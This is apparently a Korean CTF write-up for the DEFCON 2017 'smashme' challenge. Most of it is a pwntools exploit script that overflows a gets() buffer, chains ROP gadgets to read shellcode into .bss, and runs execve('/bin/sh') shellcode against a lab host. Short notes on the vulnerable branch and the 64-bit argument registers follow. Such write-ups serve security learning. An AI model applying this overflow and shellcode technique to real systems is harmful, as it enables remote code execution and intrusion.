Pwnable/CTF
DEFCON 2017 smashme
HSr00t
2017. 5. 2. 23:16
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | p=remote("192.168.146.133",9001) elf=ELF("./smashme") read_plt=elf.symbols["read"] bss=elf.bss()+0x20 shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" shell_rsi=0x004015f7 shell_rdi=0x004014d6 shell_rdx=0x00441e46 filt="Smash me outside, how bout dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" payload=filt payload+=p64(shell_rsi) payload+=p64(bss) payload+=p64(shell_rdi) payload+=p64(0) payload+=p64(shell_rdx) payload+=p64(len(shellcode)) payload+=p64(read_plt) payload+=p64(bss) p.sendline(payload) p.sendline(shellcode) p.interactive() | cs |
아이다로 보면 GETS함수로 버퍼오버플로우 취약점이 있음
분기문 하나가 보일텐데 저 문자열(filt 변수 문자열)이 아니라면 QUIT 시키고 맞다면 정상적으로 leave; ret이 됨
쉘코드가 64bit syscall하는 쉘코드 (출처 : http://shell-storm.org/shellcode/files/shellcode-806.php)
rdi 1
rsi 2
rdx 3
rcx 4
64bit 인자 레지스터